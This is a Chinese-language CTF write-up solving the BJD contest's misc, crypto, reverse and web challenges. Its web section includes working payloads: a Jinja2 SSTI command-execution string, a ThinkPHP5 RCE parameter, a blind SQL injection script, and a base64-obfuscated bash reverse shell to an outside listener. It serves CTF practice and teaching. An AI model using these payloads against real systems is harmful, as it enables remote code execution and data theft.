目录
misc 最简单的misc
misc a-beautiful-gril
misc 小姐姐
misc Real_easybaba
misc easybaba
misc 圣火昭昭
misc Imagin-开场曲
misc TARGZ
crypto 签到题
crypto 老文盲了
crypto catflag
crypto 燕言燕语
crypto 灵能精通
crypto Y1nglish
crypto rsa0/rsa1
re guessgame
web fack google
web old-hack
web SQLI
web duangshell
web 假猪套天下第一
web Element Master
web XSS之光
zip伪加密---------7z解压
winhex打开文件发现png缺少头部
正常的png
加上89504e47得到图片(此处不知道为什么不能直接添加 因此winhex新建了一个文件将数据复制进去得到完整的png)
从图片中得到一串16进制字符串------------16进制转文本得到flag
查看属性发现图片高小于宽,猜测为png高度隐写 winhex打开修改图片高度和宽一样得到flag
winhex打来 ctrf f搜索BJD 得到flag
winhex打来 发现有一串特殊的FF 仔细观察开头FF组成了BJD 截屏用笔画出来flag
就这个题相当头疼,压缩包出来解压得到图片,winhex查看发现PK,修改后缀名为zip。
解压出里面全是出题人.jpg。winhex打开发现头部为AVI,修改后缀为.AVI。
播放发现中间有东西一闪而过,使用Potplayer打开,一帧一帧的看,找到四张二维码截屏出来,通过QR扫描,可气的的是我只扫出来两张,还有两张扫不出来,队友扫出来三张为BJD{imagin_love_Y猜测flag为BJD{imagin_love_Y1ng}竟然过了。。。过了。。
下载图片,查看属性得到发现新佛曰:**********
解密http://hi.pcmoe.net/buddha.html 得到gemlovecom,这里出题人说得到的key中com是多余的。之后就不知所措了。
题目提示flag全靠猜加粗。。。好吧outguess解密
outguess -k gemlove -r 1.png -t 1.txt
得到flag
总共三段,第一段三个音,第二段7个音,第三段7个音,猜测第一段为BJD,尝试正确,第二段仔细听第一个音为M,网站名为mikutap刚好七个字母,尝试正确,hint提示提交的flag为BJD{字母+数字}且数字范围为0-5,队友摸索出来为33331133331133,即3313313,得到flag为BJD{MIKUTAP3313313}
又是套娃题,winhex查看压缩包为zip,改后缀,文件名即为密码,解压出来发现循环了。上脚本:
import os, zipfile
def unzip(filename):
try:
password = filename.split('.')[0]
print(password)
with zipfile.ZipFile(filename,'r') as f:
file2 = f.namelist()[0]
file3 = file2.split('.')[0]+".zip"
f.extract(file2,pwd=password.encode())
os.rename(file2,file3)
unzip(file3)
except:
print("over")
unzip("6pLUMCPtR.zip")
最终得到flag
base64解密得到flag
这句话的意思是 bjd大括号这就是flag直接交了吧大括号
尝试后发现把这就是flag直接交了吧的繁体字放入BJD{}中即可----天大的脑洞
图片中每行有八只,两种状态很明显为二进制ascii码,二进制转字符串
16进制转text得到yanzi ZJQ{xilzv_iqssuhoc_suzjg}明显的flag格式猜测为移位密码,
维吉尼亚解密,key就是yanzi,去掉特殊字符解密,加上_,得到flag
圣堂武士密码(猪圈变种)
1、quipquip破解
2、爬山算法
(可能是算法的问题最后一个单词cr4cy 明显不对,改为cr4ck)
quipqiup - cryptoquip and cryptogram solver
nc node3.buuoj.cn 27659
获得rsa的一些参数,通过计算都可以解出来n,和phi($n);以下代码关键点在于求得n,phi。
import gmpy2 as gp
import binascii
#p = gp.mpz(9005841665689745124779826529443905179409665625718920723334034370138123486749949055730055391223541475734639571421445461610082441067769204635233880631428207)
#q = gp.mpz(11615287066957037948859869918353725491056595046099284167234782531984513970383672439416439290012260718344407305388628139026937078595258548861222783997402763)
e = gp.mpz(11513171)
c = gp.mpz(84576292833543075099583941306456381869672307633232577500341795834894153581874866115310574726669756140764430710667790597318062612138557202838665570403301463681232503896438570531490554933475459777130800727427987536803824076930982241805837921689860355230906840281861799569888068517168910967972733492477016441120)
#n = p*q
#phi = (p-1) * (q-1)
n = gp.mpz(140749665201683585685293716678471054483640394122398281360825046211479836802690152224233686001421532008094715584654090470522259529203355561424226871882182257619678866604194444600048580398973452693657536549517465081695510147765278476023047735202849129346046153392577963656506763604213552298615282320563162897023)
phi = gp.mpz(140749665201683585685293716678471054483640394122398281360825046211479836802690152224233686001421532008094715584654090470522259529203355561424226871882182233891447515272506382777032906626359159531104534271169124546876533245391759620739664410331997444535726774613229422751582331851080739737696446025141184148968)
d = gp.invert(e, phi)
print(d)
m = pow(c, d, n)
print(m)
之后十进制转十六进制,再转文本
IDA打开 main函数出f5 可得到flag
python3 ssti模板注入,网上找的payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__== {}.__class__ %}{% if 'eval' in b.keys()%}{{b['eval']('__import__("os").popen("cat /flag").read()') }}{% endif %} {% endif %}{% endfor %}{% endif %}{% endfor %}
thinkphp5漏洞,在kali上searchexploit thinkphp5可以找到payload所在的文件。
payload
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
post注入,尝试 ' 发现被过滤检查了。尝试了一通无果后,扫描一下目录看看能不能找到源码,在/robots.txt中发现了/hint.txt,
访问/hint.txt ,发现了下面这条sql语句。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
既然 ' 被过滤了 那就尝试用 \ 将username的那个单引号转义,使得username前面的单引号和password前面的单引号组成一对
,然后用 || 1使得where子句恒成立,再用#将password后面的单引号注释,(为了方便理解,username的值加了括号)。即:
select * from users where username=(' \' and password=') ||1# '
此时 ,发现如下图,注入成功。由于select被过滤检查,大小写,双写绕过都不行,只能盲注了。
上脚本
import requests
url ="http://e7be3000-f932-4144-970d-27e85c816f51.node3.buuoj.cn/index.php"
password=""
for i in range(1,50):
print(i)
for j in range(32,128):
data={
'username':'\\',
'password':'||ascii(substr((password),'+str(i)+',1))>'+str(j)+'#'#password换成username
}
r = requests.post(url,data=data)
if "You konw" in r.text:
password+=str(chr(j))
print(password)
break
先爆username = admin ,再爆password.最后登录得到flag。
提示给到.swp,访问 .index.php.swp得到swp文件。
放到linux下
vi -r index.php.swp
获得源码
需要POST一个girl_friend,exec命令执行,但是没有回显,队友说是反弹shell,那好么,根据平台提示注册一个小号启动一台靶机 X, ssh远程连接上。
ifconfig
查看ip 174.1.53.240
nc -ivp 4444
监听4444端口
目标机器使用命令
bash -i >& /dev/tcp/174.1.53.240/4444 0>&1
反弹shell,由于过滤了>,使用base64编码绕过
构造payload :
girl_friend=ec""ho "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTc0LjEuNTMuMjQwLzQ0NDQgMD4mMQo=
"|base""64 -d|bash
POST过去后,在X靶机上获得shell ,反弹shell成功
cat /flag
得到flag
拒绝套娃,从每一个人开始。。。。
尝试没什么发现,dirsearch扫一下目录发现了/.DS_store,这就很明显了ds_store_exp出目录,发现有一个特殊的文件L0g1n.php.访问了一下(这里需要随便登陆进去,不然跳转不了)。
抓包看了下,有一个time参数,修改为9999999999
之后一堆。。。直接列举吧
X-Real-IP:127.0.0.1//可以代替X-Forwarded-For伪造ip
Referer指定从哪个网站跳转来的
UA:
给的是commodo64 ,百度时可以发现是commodore64,这是个8位的操作系统(好像是)因此修改win64为commodore64
注意:抓的linux下火狐的包只需要修改那个地方,不然需要修改Windows NT 10.0 为x11,修改x64为rv:60.
via:列出从客户端到 服务器的响应经过了哪些代理服务器
From:给定控制用户代理的人工用户的电子邮件地址
最后看到Zmxh结束,base64解码得到flag
y1ng大佬手画的图,不错不错。。。
查看看源代码,发现id=506f2e 不知道是啥,但是id=706870,这个很特殊啊,php的16进制。转出来为Po.php。
访问了一下,有东西,给了一个 . 。结合题目,访问H.php和He.php结果是404。最后出题人给了hint,一个元素周期表的字典。说明这里面有的元素.php访问有东西。好吧,上脚本
import requests
url="http://127.0.0.1/"
flag=""
with open("em.txt",'r') as f:
for i in f.read().split(','):
i = i.strip()
r = requests.get(url+i+".php")
if "404" not in r.text:
flag+=r.text
print(flag)
得到一个文件,访问得到flag.
访问就让我gungungun,当场去世。
git文件泄露。使用工具githack可以下载出index.php的源码
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()
题目为XSS,肯定和XSS有关,构造payload:
yds_is_so_beautiful=s:104:"";
抓包可以看到flag在cookie里面。